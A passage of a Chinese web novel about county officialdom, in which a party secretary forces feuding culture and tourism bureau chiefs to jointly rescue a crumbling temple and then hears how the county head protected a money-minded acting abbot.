“财政局,”他看向刘国梁及财政局长舒立悦,“根据指挥部共同签字确认的方案和预算,特事特办,先期拨付应急加固专款!”
“谁敢卡一分钱的脖子,我就摘谁的帽子!”
“技术力量,”江昭宁的目光钉在鄂建设脸上,“文化局负责!鄂建设,你亲自对接!”
“动用一切资源,立刻请省文物局的专家团队下来会诊!拿出经得起历史检验的抢修方案!”
“技术上的事,你负主责!出了纰漏,唯你是问!”
鄂建设喉结艰难地滚动了一下,艰难地挤出两个字:“……明白。”
“后勤保障,物资调配,人员组织,现场秩序维护,”江昭宁的目光转向林方政,“林方政,旅游局全权负责!要人给人,要物给物!确保专家团队心无旁骛!”
“确保施工队伍高效运转!保障不力,拖了后腿,我找你算账!”
林方政深吸一口气,牙关紧咬,腮帮子微微鼓起,沉声道:“是!”
江昭宁身体前倾,双手按在桌沿,巨大的压迫感让前排的几位**几乎喘不过气。
他锐利的目光如同实质的探针,在鄂建设和林方政的脸上反复穿刺:“我再强调一次!”
“在这个指挥部里,你们俩,是命运共同体!一荣俱荣,一损俱损!”
“方案拿不出来,是你们俩的责任!钱用不好,是你们俩的责任!技术不过关,是你们俩的责任!”
“后勤跟不上,还是你们俩的责任!”
他顿了顿,每一个字都像重锤砸下:“出了问题,我第一个找你们俩算总账!”
“谁也跑不了!”
“别跟我扯什么分工!”
“在古寺庙修缮好之前,你们就是一个人!一个脑袋!两条腿,必须往一个方向使劲!”
第188章 暗流汹涌
江昭宁话音陡然一转,带着一丝冷峻的激励:“当然,做得好,把清凉寺庙宇修缮好了,把融合的第一仗打漂亮了!”
“你们俩,就是新组建的文旅局领导班子的局长、**第一人选!”
“这就是最重要的**考察!功过是非,在此一举!”
最后,江昭宁的目光如同冰冷的钢索,将两人死死锁住,一字一句,敲骨吸髓:“记住,鄂建设,林方政!”
“从现在起,到古寺转危为安,你们就是一条绳上的蚂蚱!”
“古寺安,你们都有功;古寺塌,你们谁也跑不了!”
“散会!”
“散会”两个字如同惊堂木拍下,震得鄂建设浑身一哆嗦。
他几乎是瘫软在宽大的椅子里,西装后背早已被冷汗浸透,紧紧贴在皮肤上,冰凉黏腻。
他下意识地去摸口袋里的手帕,指尖却抖得厉害,掏了几次才掏出来,胡乱地在脸上抹着。
试图擦掉那源源不断渗出的虚汗,却越擦越觉得燥热窒息。
他偷偷抬眼,正好撞上对面林方政投来的目光。
那目光复杂得像一团乱麻——有对未知前路的茫然,更深处,竟也有一丝同病相怜的苦涩。
会议室里的人开始起身,椅子腿摩擦地面的声音、低低的交谈声、收拾文件的窸窣声,像潮水般涌来,却更加衬托出鄂、林二人身周那令人窒息的死寂。
他们被无形地隔离开来,困在**亲手打造的“命运共同体”牢笼之中。
周明清夹着笔记本经过鄂建设身边,脚步顿了一下,低声快速说:“鄂局,**的决心……非同小可。你和林局,尽快碰个头吧。”
语气里带着一丝不易察觉的同情和提醒。
鄂建设喉头一哽,想说什么,却只发出一个模糊的“嗯”音。
他知道,这道坎,是无论如何也绕不过去了。
走出那令人窒息的小会议室,外面的世界并未变得轻松。
清凉寺的阴影如同实质般压在整个县委大院上空。
走廊里,三三两两的干部聚在一起,声音压得极低,眼神却闪烁着复杂的光芒。
关于两局合并、关于**震怒、关于鄂林二人被强行“捆上战车”的消息,如同长了翅膀的毒虫,早已在每一个角落悄然滋生、疯狂蔓延。
“听说了吗?**拍了桌子,鄂局当场汗如雨下,差点晕过去!”
“何止!林局那脸,黑得跟锅底似的!这回是真被架在火上烤了!”
“合并?说得轻巧!文化局那些搞研究的书呆子,跟旅游局那些搞营销的油子,尿得到一个壶里?等着看笑话吧!”
“鄂局这回悬了,他那些小舅子、表外甥,好几个都在下面二级部门吃闲饭呢,合并了还能有位置?”
“林局也不容易,旅游局这两年刚有点起色,这一合并,谁知道会不会被文化那边拖垮……”
“关键是清凉寺!那破庙真要塌了,砸**,别说合并了,整个班子都得地震!”
这些细碎、阴暗的议论,像冰冷的蛇,无孔不入地钻进鄂建设和林方政的耳朵。
鄂建设只觉得脸上火辣辣的,仿佛被无数道目光鞭笞着。
他加快脚步,只想快点回去。
林方政则绷着脸,目不斜视,大步流星,每一步都踏得沉重而用力,仿佛要将那些闲言碎语踩在脚下碾碎。
然而,那挺直的脊背,却透着一股孤注一掷的倔强。
鄂建设回到文化局,气氛更是诡异。
往日里还算融洽的下属们,此刻眼神躲闪,打招呼的声音都透着小心翼翼和一种疏离的观望。
副局长老马,鄂建设多年的“盟友”,端着一杯茶踱进他办公室,关上门,脸上堆着忧心忡忡:“老鄂,这……**这是唱的哪一出啊?”
“把您跟林方政绑一块?”
“这不是……这不是让秀才去扛枪吗?”
他凑近了些,压低声音,“局里人心惶惶啊!”
“都在担心合并后自己的位子……”
“还有,清凉寺那烂摊子,专业要求那么高,万一……我是说万一修坏了,这责任算谁的?”
“林方政懂个屁的古建?”
“到时候屎盆子肯定扣您头上!”
这话看似关心,实则像一根根毒刺,精准地挑动着鄂建设心底最深的恐惧。
与此同时,旅游局那边也不平静。
几个中层骨干围在林方政办公室外间,七嘴八舌,群情激愤。
“林局,这太欺负人了!修缮明明是文化局的事,凭什么让我们与他们合并一起背锅?”
“就是!他们文化局拿
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着文保经费不干事!”
林方政靠在椅背上,闭着眼,手指用力揉着突突直跳的太阳穴。
下属们的抱怨和“忠告”像重锤敲打着他。
他理解他们的委屈和不平。
但**冰冷的警告言犹在耳——“一条绳上的蚂蚱”!
他知道,此刻任何抱怨和划清界限的想法,都无异于自掘坟墓。
他猛地睁开眼,眼神疲惫却带着不容置疑的严厉:“都给我闭嘴!现在说这些有什么用?”
“**的命令是儿戏吗?清凉寺真要塌了,砸死游客,我们旅游局就能独善其身?皮之不存,**将焉附!”
“都给我打起精神来!”
“谁再给我搞部门关门主义那一套,拖后腿,别怪我林方政不讲情面!”
他的厉喝暂时压下了嘈杂,但空气中弥漫的怨气和不安,却更加浓重了。
……
第一次指挥部会议,在县委临时腾出的一间小会议室里举行。
气氛比**会更加凝滞。
椭圆形的会议桌,鄂建设和林方政被刻意安排在了相邻的位置,仿佛是命运开的残酷玩笑。
两人坐下时,身体都带着明显的僵硬,目光刻意避开对方,只盯着面前空白的笔记本。
参与会议的还有财政局局长、住建局的工程师、省文物局紧急派来的一位姓吴的老专家,以及两局的部分业务骨干。
会议桌两侧,隐隐形成两个阵营——文化局的人眼神警惕,带着一种专业领域的矜持和优越感。
旅游局的人则脸色紧绷,透着一股“被迫买单”的不忿。
会议伊始,就卡在了最核心的问题——应急抢修方案和初步预算。
省里的吴教授扶了扶老花镜,语速缓慢却带着不容置疑的专业权威:“……根据初步勘察,大雄宝殿东侧那根主承重柱,倾斜角度已超过安全阈值,梁架榫卯多处脱开。”
“必须立即进行临时性钢构支撑加固,这是保命的措施。”
“还有后墙渗水坍塌部分,需立刻做防水引流和局部回填,防止雨水继续侵蚀地基。”
“这两项,是当务之急,刻不容缓。”他在图纸上重重圈出两个位置。
“吴教授,这两项,大概需要多少经费?”舒立悦立刻追问,这是他的职责所在。
第189章 开始互相撕咬了?!
吴教授沉吟了一下:“临时钢支撑,材料加人工,工艺要求高,预估……八十万左右,后墙应急处理,五十万。这是最保守的估算。”
一百三十万!
这个数字让会议室里响起一片低低的抽气声。
舒立悦的眉头拧成了疙瘩。
鄂建设像是抓到了什么,立刻接口,语气带着一丝不易察觉的推脱和强调专业壁垒的意味:“吴教授说的是应急措施,技术性非常强!必须严格按照文物修缮的规程来!”
“材料的选择、工艺的把握,差之毫厘谬以千里!”
“这方面,我们文化局责无旁贷,一定严格把关!”
“林局长,你们旅游局在后勤保障上,可得跟上啊!”
他特意强调了“技术性”和“文化局责无旁贷”,潜台词是:技术我负责,出了错也是我的,但钱和力,你得出。
林方政的火气“噌”地就上来了。
他强压着怒火,声音冷硬:“鄂局长,技术把关当然重要!”
“但吴教授说的这一百三十万,是实打实的!钱从哪里来?”
“旅游局的账上,每一分钱都是带着任务的!景区维护、人员工资、安全巡查、营销宣传,哪一项能停?哪一项能砍?”
他目光灼灼地盯向舒立悦,“舒局,应急资金,县财政总盘子到底能挤出多少?有没有个准数?”
“不能光让我们两个局在这里干耗!”
舒立悦面露难色:“林局,县里情况你也知道……这个季度刚过一半,很多刚性支出都还没着落。”
“一百三十万……不是小数。”
“**说了特事特办,但流程还是要走。”
“需要指挥部共同签字确认的详细预算和方案,然后按程序,先报我们局预算股初审,再上局班子会讨论,形成一致意见后,报分管县领导签批。”
“最后才能上县长办公会或者财经领导小组会议走拨款流程……”
他每说一道程序,林方政脸上的血色就褪去一分,额角的青筋就多凸起一道,“这每一步,都少不了必要的审核和时间。”
“……然后,我们才好操作啊,林局。”
“方案?预算?!”林方政只觉得一股邪火“轰”地一下直冲头顶,眼前都有些发黑。
他气得差点拍桌子,“吴教授的话你听没听见?刻不容缓!刻不容缓啊!!!”
“等你们这一套套的‘程序’走完!等那些签字的笔尖在纸上画完圈!”
“等那些所谓的‘会议研究’开完!黄花菜都凉了!凉透了!!”
室内一片沉默。
“鄂局长,你们文化局的文保专项资金呢?”
“往年总该有点结余或者能腾挪的吧?这个时候不拿出来,什么时候用?”
林方政直接把矛头指向了鄂建设最敏感的钱袋子。
鄂建设像被踩了尾巴的猫,脸瞬间涨红:“林方政!你这是什么话!文保专项资金是戴帽下来的!”
“每一分钱都有指定用途!挪用了,审计能过吗?上级能答应吗?”
“你这是让我犯错误!”
他搬出了制度和审计的大旗,声音也拔高了,“清凉寺现在主要功能是旅游!游客如织,收益可观!”
“这应急的钱,如果财政一下子操作不下来,就该从旅游收益里出!这是天经地义的反哺!”
“哪怕是垫付也得出,你们旅游局不能光吃肉不啃骨头!”他再次祭出了“旅游受益论”。
“放屁!”林方政终于忍不住爆了粗口,猛地站起来,指着鄂建设的鼻子,“鄂建设!你别揣着明白装糊涂!”
“清凉寺吸引游客的根本是什么?是那些古建筑!是文物本身!”
“现在文物要塌了,你们文化局作为法定的保护主体,拿着国家拨的专项经费不想用,还在这里跟我扯什么反哺?”
“皮都烂了,**往哪长?你这是赤裸裸的渎职!”他彻底撕破了脸皮,将最尖锐的指责甩了出来。
“林方政!你血口喷人!”鄂建设也拍案而起,气得浑身发抖,指着林方政的手都在哆嗦,“你懂什么叫文物保护?你懂什么叫最小干预?”
会议室内**味浓烈,两派人员也怒目相视,眼看就要失控。
省里的吴教授连连摇头叹气。
舒立悦一脸苦相,恨不得找个地缝钻进去。
“够了!!!”
一声暴喝如同惊雷炸响!
会议室的门被猛地推开,江昭宁的身影赫然出现在门口,脸色阴沉得能滴出水来!
他显然是听到了里面
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的争吵,直接杀了过来。
锐利如刀的目光在鄂建设和林方政两张因愤怒而扭曲的脸上狠狠剐过。
“吵啊!接着吵!当着省里专家的面吵!当着财政局同志的面吵!”江昭宁的声音不高,却带着冰封千里的寒意,让整个会议室瞬间冻僵,“我早上说的话,都当耳旁风了?!‘一条绳上的蚂蚱’!”
“这才过了多久?”
“就开始互相撕咬了?!”
他一步步走到会议桌前,每一步都像踩在鄂、林二人的心尖上。
“鄂建设!林方政!我看你们是忘了‘同进同退’四个字怎么写!”
他猛地一拍桌子,震得茶杯乱跳,“技术壁垒?旅游受益?在我这里,全是狗屁!全是推卸责任的借口!”
他指着吴教授的图纸,手指因为愤怒而微微颤抖:“这根柱子!这堵墙!它们分得清自己是文化还是旅游吗?!”
“它们只知道,再不撑住,就要塌了!就要砸**了!”
“就要把东山县的脸都丢尽了!”
江昭宁深吸一口气,强行压下翻腾的怒火,但那眼神中的雷霆之威更甚。“我最后说一次:方案,今天下班前,鄂建设牵头,林方政配合,吴教授指导,必须给我拿出来!”
“我说过,”江昭宁的声音不高,却像淬了冰的钢鞭,猝然抽碎了会议室里凝滞的争吵“你们做预算,你们两人却在钱上又吵闹了起来?”
“这钱,财政出!与你们无涉。”
他的问话没有提高音量,却让鄂建设和林方政瞬间感到一股刺骨的寒意从脊椎骨窜起。
两人如同被施了定身法,张着嘴,喉结艰难地滚动着,却发不出任何辩解的声音。
刚才还剑拔**张的气势,在**的愠怒面前,脆弱得像一层薄冰,瞬间碎裂。
江昭宁不再看他们,锐利如刀的目光猛地转向几乎要把自己缩进椅背里的财政局长舒立悦。
“舒局长,”他的声音清晰地砸在每个人心头,“听明白了吗?”
那眼神如同实质的冰锥,直抵他惊慌失措的眼底。
舒立悦一个激灵,几乎是弹跳着站了起来,后背瞬间被冷汗浸透,声音抖得不成样子:“听,听清楚了!江**!”
他不敢有丝毫犹豫。
第190章 豁出去了!
“流程,正常走!”江昭宁一字一顿,每个字都带着千钧之力,“钱,先借支出来!”这是对僵化程序最彻底的破局。
他用自己的权威,为这濒危的古寺强行撕开了一条资金的生命通道。
“特事特办”在此刻有了最具体、最直接的体现——手续可以补,但古寺等不起!
“是!是!保证办到!”舒立悦点头如捣蒜,额头上豆大的汗珠滚落下来。
他哪还敢再提什么初审、班子会、县长办公会?
**的意志就是此刻唯一的流程。
江昭宁的目光,如同带着万钧重压的寒冰,再次死死钉住鄂建设和林方政。
“签字!”他吐出两个字,简洁,却带着不容置疑的强制力,仿佛一把无形的铡刀悬在了两人头顶。“预算,同步做!”
“舒局现场盯着!就在这里!哪儿也不准去!”
“明天上午九点整,我要看到那份签好你们两人名字、确认无误的报告,放在我办公桌上!白纸黑字,清清楚楚!”
“应急资金,”他停顿了一下,目光如同探照灯般扫过舒立悦,“明天中午十二点前,必须一分不少、准时准点,拨付到指挥部专用账户!”
“晚一分钟,”江昭宁的声音陡然降至冰点,带着森然的杀气,“我就问你们三个人的责!有一个算一个!”
话音落下,会议室里死一般的寂静。
明天九点,明天十二点——这不是时间表,这是悬在他们头顶、滴答作响的倒计时**。
“至于林局、鄂局,你们俩——从现在起,搬到一个办公室办公!”
“给我面对面坐着!”
“方案拿不出来,预算做不出来,你们俩今晚就给我睡在会议室!”
“清凉寺的柱子什么时候撑稳了,你们什么时候分开!”
“再让我听到一句互相推诿扯皮的话,”江昭宁的声音陡然降至冰点,带着森然的杀气,“我不管你是文化局长还是旅游局长,立刻给我停职检查!”
“我亲自来当这个指挥长!听清楚了吗?!”
“听……听清楚了!”鄂建设的声音带着哭腔。
“是!**!”林方政咬着牙,从牙缝里挤出回答。
江昭宁冷哼一声,目光扫过噤若寒蝉的众人,最终落在吴教授身上,语气转为尊重:“吴老,辛苦您!技术上的事,拜托您多费心!需要什么支持,直接找我!”
说完,他不再看任何人,转身大步离去,留下会议室里一片死寂和两个被**的雷霆之怒彻底打落深渊、被迫紧紧绑缚在悬崖边缘的“蚂蚱”。
鄂建设和林方政眼神里除了沉重的压力,竟也燃起了一股被逼到绝境、退无可退后破釜沉舟的凶悍光芒。
搬到一个办公室?面对面?
这哪里是工作安排,分明是**架在他们脖子上的刀!
要么同心协力杀出一条血路,要么……一起被这把刀斩落!
别无他途。
……
江昭宁的办公室里,空气像凝固的胶,沉重得令人窒息。
谷庄坐在宽大的办公桌对面,额角那片汗迹,此刻已蔓延至鬓边,他下意识地又揩了一把,指腹所及,一片冰凉黏腻。
他不敢抬头直视江昭宁锐利的目光,只觉那目光如芒刺在背,穿透他强撑的镇定。
他目光躲闪,最终落在那张宽大办公桌锃亮的桌面上,倒映着自己模糊、局促的身影,仿佛一个被困在玻璃中的囚徒。
“谷局,”江昭宁的声音不高,却带着一种不容置疑的穿透力,“你是宗教局长,清凉寺东妙这些事,他那些……‘香火钱’、‘开光费’的把戏,还有寺里那扩建得不像话的‘禅茶一味’,你真的一无所知?”
他身体微微前倾,双手交叠放在桌面上,目光沉静,却像手术刀般精准地剖向谷庄的心底。
谷庄喉结剧烈地上下滚动了一下,嘴唇嗫嚅着,似乎想挤出点什么,最终却只发出几个破碎的音节:“我…我……”
“说吧!”江昭宁的语气陡然加重,如同铁锤敲在钉子上,“这里只有你我,别无第三人。”
“门锁着,天知地知,你知我知。”
“我要的是真实的情况,剥掉所有皮相的真实!”
他目光如炬,紧紧锁住谷庄,“别告诉我,你这位局长,真成了聋子的耳朵——摆设?”
每一个字都清晰、冰冷,带着无形的压力,砸在谷庄紧绷的神经上。
谷庄只觉得后背的汗瞬间又涌了出来,衬衫紧贴在脊梁上,冰凉一片。
不说?
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那“渎职”的帽子,江昭宁刚才那“摆设”二字,不就是明晃晃的暗示?
这顶帽子一旦扣实,足以压断他这根早已不堪重负的脊梁骨。
乌纱帽落地事小,更可怕的是要替那深不见底的漩涡里真正的操盘手,背上这口足以压**的黑锅。
可若说了……“告密”、“出卖”的标签,在讲究“人情”与“规则”的圈子里,无异于自绝后路。
告谁的密?
告刘县长的密!刘县长那睚眦必报的性子,谷庄再清楚不过。
他脑中一片混乱,无数个念头在冲撞撕咬。
他下意识地又抹了一把脸,掌心全是湿冷。
权衡,再权衡,每一秒都像在刀尖上跳舞。
最终,一股破釜沉舟的狠劲猛地从心底蹿起,他暗中一咬牙,几乎能听到牙齿摩擦的声响。
豁出去了!
再不说,眼前这一关就要粉身碎骨!
“**,”谷庄猛地抬起头,声音带着一种孤注一掷的嘶哑,“我说。”
他的目光不再躲闪,直直看向江昭宁,里面混杂着恐惧、决绝和一丝如释重负。
“嗯。”江昭宁身体微微后靠,靠在那宽大厚实的椅背上,目光依旧锐利如鹰隼,审视着谷庄脸上每一丝细微的变化,仿佛在无声地催促:我在听,每一个字,都需有斤两。
谷庄深深吸了一口气,那空气灼热而滞重,带着尘土的气息。
他定了定神,开口的声音因为紧张而略显干涩,如同生锈的齿轮艰难转动:“事情的根子,得从四年前,智广老方丈圆寂说起。”
他顿了顿,似乎在整理纷乱的思绪,回忆着那场盛大却难掩悲凉的法事,白幡如云,香烛缭绕,僧众诵经声低沉悠远,却也掩盖不住一种巨大支柱崩塌后的茫然。
“智广方丈德高望重,一生持戒精严,清凉寺在他手上,虽清贫,却真是佛门清净地。”
“他一走,寺里群龙无首,按规矩和佛协当时的意见,就由监院东妙暂行主持寺务。”
谷庄的声音渐渐平稳了些,但语速加快,仿佛急于将积压已久的重负倾吐出来:“起初几个月,倒也还平稳。”
“可很快,我们局里下去检查工作的同志就陆续反馈回一些……不对劲的苗头。”
第191章 打压
他下意识地压低了声音,像是怕隔墙有耳,“先是发现寺里新添了不少名目,什么‘特设功德箱’、‘高僧加持开光处’,香火钱标价离谱。”
“接着,寺内一些重要殿宇和景观,开始被划出区域,明码标价收起了所谓的‘特殊**费’。”
“更有甚者,东妙打着‘弘扬佛法、服务信众’的旗号,私下里在寺里搞起了高价‘禅修班’、‘开光法会’,规模越来越大,商业味儿越来越冲!”
“这哪里还是清修之地?分明快成了敛财的买卖场!”
“寺里好几个老法师看不下去,说太不成体统。”
“结果被他寻了个理由要么调去看藏经阁,要么……干脆排挤走了。当时崔大鹏,对了,那时他还在宗教局!”
“他下去检查时,亲眼看见东妙的桌子上……就压着几份印刷精美的……开办公司合作意向书!”
谷庄的声音忽地拔高了一点,带着一丝难以自抑的激动,“**,这是明晃晃的商业化苗头!”
“佛门净地,岂能与铜臭合污?”
“岂能任由这般胡来?”
他舔了舔干裂的嘴唇,喉头滚动,艰难地咽了口唾沫:“我们局里开了几次会,意见很统一。”
“这种商业化、世俗化的苗头绝不能任其发展下去,必须刹住!”
“否则,清凉寺几百年清誉毁于一旦,我们宗教局更是严重失职。”
“当务之急,是必须尽快敦促市佛协,依照章程,从其他大寺选派一位德才兼备、持戒精严,足以服众的高僧新方丈过来主持大局,重整寺务,肃清积弊!拨乱反正,压住东妙这股歪风邪气!”
“这是我们职责所在,也是挽救清凉寺的唯一正途。”
谷庄一边说,一边下意识地双手比划着,从肩头挥向虚空,如同要劈开那些无形的阻力:“这方案我们反复斟酌过,外派方丈虽非首选,却是眼下最为稳妥快捷的办法。”
“东妙资历尚浅,行事又如此张扬霸道,根源就扎在‘无人能管’四个字上。”
“只有上级佛协派遣德劭高僧,才能名正言顺地……让他归位,从根子上扼住这股歪风!”他的语速越来越快,胸膛微微起伏。
谷庄的语气带着当时局里讨论时的那份急切和忧虑,目光恳切地看着江昭宁。
江昭宁一直安静地听着,手指无意识地在光滑的桌面上轻轻敲击,发出微不可闻的笃笃声。
听到这里,他眉峰微不可察地蹙了一下,“计划很好。然后呢?遇到了阻碍?谁?”
谷庄的脸色瞬间变得灰败,仿佛被抽走了最后一丝血色,额上刚刚擦去的汗水又密密地渗了出来。
他放在膝盖上的手,手指无意识地绞紧了裤子的布料,指节因为用力而泛白。
他艰难地开口,声音低得像蚊蚋,每一个字都仿佛是从牙缝里挤出来,带着千斤重量:“是……是刘县长。”
“刘县长?”江昭宁敲击桌面的手指倏然停住,身体前倾,目光骤然变得锐利如刀锋,牢牢钉在谷庄脸上,“他不同意?”
“理由是什么?”江昭宁语气里听不出明显的情绪,但那骤然提升的压迫感让办公室的空气几乎凝固。
墙上那幅“清正廉明”的墨宝,在此时显得格外刺目。
谷庄被这目光刺得几乎要缩起来。
他不敢看江昭宁的眼睛,视线慌乱地落在自己绞紧的手指上,喉头再次剧烈地滚动。
接下来的描述仿佛被沉重的雾气裹挟:“我详细陈述了……东妙主事后寺里的种种变化,那些……明显偏离正轨的行为……商业化的迹象,都跟刘县长讲了。”
“我强调,为寺院长远计,佛协从市里或者省里指派人选是成熟方案。”
“然而……我话还没完全说完……”谷庄停住了,似乎在积攒吐露实情的勇气。
当他再次开口,声音陡然低哑了几分,带着记忆里清晰的余悸,“刘县长眉头瞬间拧成了一个死疙瘩。”
“他的……脸上那点惯常的笑纹全都收起来了,盯着我看了有那么三四秒……一言不发。”
“……办公室里……死一样静,就剩下他桌上那个黄铜镇纸反射的光亮得晃眼……然后,‘啪’的一声,他把手里的文件……随手扔在桌上,声音不重,可把我……吓了一激灵。”
“‘胡闹!’”谷庄几乎是无意识地模仿着当时刘县长的语气和音调,那是一种混合着不耐烦与居高临下的训斥。
他清晰地记得刘世廷手指几乎点到自己鼻子:“‘谷庄同志啊,谷庄同志!’”
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>刘世廷的声音陡然拔高,带着不容置疑的尖锐,“‘我看你是搞宗教管理搞得太久了,把思想……都搞僵化了!什么叫外派方丈?你们宗教局这样想问题,不仅仅是工作方法不对,更是目光短浅!典型的思维惰性!’”
谷庄复述到这里,胸腔剧烈起伏了一下,额头上的汗水又淌了下来,顺着脖颈流进衣领。
那份窒息般的不快和压力如同再次重现。“刘县长指着我,声音沉而重,每一个字都像小锤子凿在我心上……”
“‘你拍拍脑袋就外派?本寺的僧人什么想法?他们的情绪和稳定要不要考虑?东妙在寺里辛苦维持,就盼着个位置,你们一句话就空降个方丈过去?这叫尊重现实?这就叫维护稳定大局?’”
“‘就地!’——他一字一顿地说,手指用力戳着桌面,发出笃笃的闷响,目光逼得我抬不起头来——‘就地升任!简单,稳定,顺乎情理人心!你们局里,要全力支持!’”
谷庄复述到最后,声音低得如同耳语,充满了浓重的苦涩和无力感。
甚至还带着一丝当初被强行按压、无法申辩的委屈感。
“我当时急得……”谷庄深吸一口气,声音带着一种破釜沉舟的颤抖。
他知道这段话的每一个字都可能带来风暴。
“我向他……陈述了东妙的不是……贪图排场、重财好利、骄横跋扈、排除异己……”
他刚开了个头,后面更为尖锐的评价还未出口——
办公桌后一直沉默倾听的江昭宁忽然动了。
他身体向前微微一倾,眉峰几乎不可察觉地聚拢,眼神锐利如出鞘的刀锋,打断了谷庄尚未完全吐露的话:“慢着。”
声音不高,却像一块冰冷的玉石投入油锅,瞬间凝固了空气。“你说你向刘县长陈述了东妙的问题?具体怎么说的?”
“他当时……有什么反应?说说,越详细越好!”
那目光,锐利得仿佛要穿透谷庄的颅骨,把他脑海深处那段尘封的记忆翻个底朝天。
谷庄的心猛地一沉,一种冰冷的预感应验了。
这位江**不是来听表面文章的,他像一位老练的猎人,已经闻到了腥气,正循着蛛丝马迹精准索源。
所有笼统模糊的言辞都会被轻易戳破。
第192章 捕风捉影!
“我……我原话是说……”谷庄结巴起来,汗水流进了眼睛,刺痛感让他下意识地闭上了一只眼,眼前一片模糊,“东妙行事……过于热衷接待,结交富豪,山门内外商业气息日重。”
“引起许多本寺清修僧众和……本地老信众的强烈反感……”
“他处置相关僧众的手段……有些失当……若再进一步晋升,恐非寺门之福,也非本地信众之所愿。”
他描述得很干涩,下意识想避开那尖锐的实质矛盾。
可江昭宁的声音紧随而至,低沉、平稳,却带着金属般的穿透力,不留任何余地:“是‘处置’?你汇报的用词里,有没有提到过‘排挤’?‘打击报复’?”
“有没有明确指出来他在排除异己、清除反对声音?”
字字如重锤。
谷庄感到脊椎一阵发麻。
他喉结急速地上下滚动了几次,艰难地吞咽着无形的梗阻。“……有。”
这个字几乎是挤出来的,带着撕裂的沙哑,“我提到过……寺里的慧明法师……一向清正耿直,几次在内部会议上反对将静修场所改建成什么‘禅意精品度假客房’,后来……被东妙指责对客**不敬……调去管菜园子了……”
谷庄的声音越来越低,“……还有另一位明觉法师……听说对东妙账目上的几笔大额香火钱流向有疑虑,暗示过要按规矩查账……”
“不久后就有几个外寺来挂单的和尚举报他私藏经书文物……”
“虽然查无实据……但明觉法师主动……闭关清修去了……后来……再也没有出现在禅堂事务会议上了……”
办公室里的空气仿佛被抽干了,变得更加滞重冰冷。
“……我当时……就举了这些例子……”谷庄的声音像从很远的水底传来,带着窒息感,“我跟刘县长说,东妙他……心术不正!”
“这样的人,绝不能主政一寺!”
“这……这就是我当时的原话。”
他仿佛虚脱了一般,说完这段话,只剩下胸口还在剧烈的起伏着。
额头上的汗滴没了阻拦,不停地淌下来,滑过眼皮,渗入眼角。
他下意识地抬手去擦,却只是将水痕抹得更加狼狈不堪。
江昭宁听完谷庄的艰难陈述,脸色如同覆上了一层严霜,深邃的眼眸里没有明显的震动。
但那份寒意却仿佛渗透出来,使得整个办公室的温度都骤然下降了几分。
然后,江昭宁终于开口了。
声音不高,异常平缓,甚至可以说是没有任何情绪起伏的:“接着说!”
谷庄只觉得心头那股无形的压力在缓慢释放的间隙里,又猛地被攥紧。
他不敢停顿,如同一个交出最后筹码的赌徒,声音继续在压抑中艰难推展:“刘县长……听完我说的那些……脸一下子就沉下来了,不是一点点的生气……”
他咽了口唾沫,回忆起那张瞬间阴云密布、权力意志几乎凝成实质的脸庞,“他猛地一拍桌子,‘啪’的一声巨响,震得杯子都跳了一下……”
谷庄下意识地捂住了耳朵,又立刻惊觉,把手无措地放下,“他指着我的鼻子……声音不高,但每一个字都像冰锥,扎得我耳朵生疼……”
“‘谷庄!你这些都是捕风捉影!’我到现在都记得他当时那个眼神,刀子一样……”
“‘僧人内部调岗交流,能说明什么?正常得很!你说心术不正?证据呢?!道听途说几句,就想否定东妙监院的功劳?我看你是带着偏见在做工作!是乱弹琴!’”
“……训斥持续了……将近十分钟。”
谷庄的声音彻底低哑,带着一种被反复搓揉过的疲态,“核心就是……派外人,不行!就地升东妙,必须!”
谷庄的身体微微发抖,“他指着我的鼻子,声音大得整个楼道怕是都能听见,‘谷庄!我看你是工作方式有问题,思想觉悟更有问题!宗教工作要讲团结,讲稳定!不是让你去揪小辫子的!’”
“‘你这个局长,要是这点事都配合不好,思想要是还这么……僵化,那就要‘好好考虑考虑是不是能够胜任现在的岗位了’!”
他最终挤出的是经过无数遍斟酌和规避后的措辞,但每一个字依
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旧在办公室里回响着刻骨的寒意。
谷庄说到这里,声音已经带着一丝哽咽。
他猛地吸了一口气,强行压下翻涌的情绪,疲惫而绝望地说:“**,我……我没有法子了啊。”
“刘县长的话,那就是定调子。”
“我们宗教局,归口政府管,他这一通训斥,帽子扣得那么大,我哪里还敢再提外派方丈的事?”
“整个局里的工作,在那之后都变得束手束脚,对清凉寺,只能……只能睁一只眼闭一只眼。”
他颓然地靠在椅背上。
办公室里的空气,弥漫着一种失败和压抑的沉重。
短暂的沉默。
江昭宁脸上没有任何表情,只是那敲击桌面的手指,节奏似乎更缓,更沉了。
他端起桌上的白瓷茶杯,杯盖轻轻刮过杯沿,发出细微而清晰的“叮”声,在这死寂中格外刺耳。
他没有喝,只是看着杯口氤氲的热气,缓缓问道:“所以,你就去找了马前进**?”
声音平稳,听不出波澜。
谷庄倏地坐直了身体,急切地点头:“是!是!江**,我实在是没别的路可走了!”
“刘县长那边油盐不进,可清凉寺的情况一天比一天糟,东妙的气焰一天比一天高,再这样下去,非出大乱子不可!”
“我……我不能眼睁睁看着啊!”
“……后来,走投无路……我只好……”他深深吸了一口气,又缓缓吐出,“找了当时还在县里……主持全面工作的……马前进**……”
“马前进**……”江昭宁无声地重复了一遍这个名字,目光微微一瞬的凝聚,但很快平复如古井,没有多余的追问,只留下一个低微的尾音,“哦?”
谷庄从这难以捉摸的单音节里获得了默许,继续说下去:“我向马前进**……原原本本地汇报了当时掌握的所有情况……”
“从山寺的商业化活动,到核心僧人的异常调动……”
“特别是……关于东妙心术方面的疑虑……以及……刘县长明确要求就地升任东妙的压力……一点没有隐瞒。”
第193章 倒苦水
他顿了顿,努力回忆着当时的情形:“马**他……认真听了很久,眉头皱得很紧……不时在本子上记着……期间很少打断我……只是偶尔插问。
“最后他重重叹了口气,说‘这确实不像话,清凉寺是百年古刹,不能毁在这股歪风邪气手里。’他同意我们的判断,也认为必须尽快解决方丈问题,支持由佛协选派合适人选入主清凉寺。”
“马**很重视,他亲自去找刘县长协商。”
“我们都以为,有**出面,这事总能有个结果了。”
他苦笑了一下,那笑容比哭还难看,“谁知道……唉!”
“什么?”江昭宁适时地追问,声音不高,却像锥子一样精准地刺向关键点。
谷庄重重地叹了口气,肩膀垮塌下来:“马**与刘县长谈得很不愉快,分歧太大了!”
“据说在**办公室,两人争执得非常激烈,声音隔着一层楼都隐隐能听到。”
他压低了声音,仿佛在讲述一个禁忌,“马**坚持原则,认为必须按规矩办事,外派方丈是正本清源。”
“可刘县长寸步不让,还是他那套‘稳定压倒一切’、‘保护本地积极性’、‘清凉寺发展势头正好’的理论,他甚至说……”
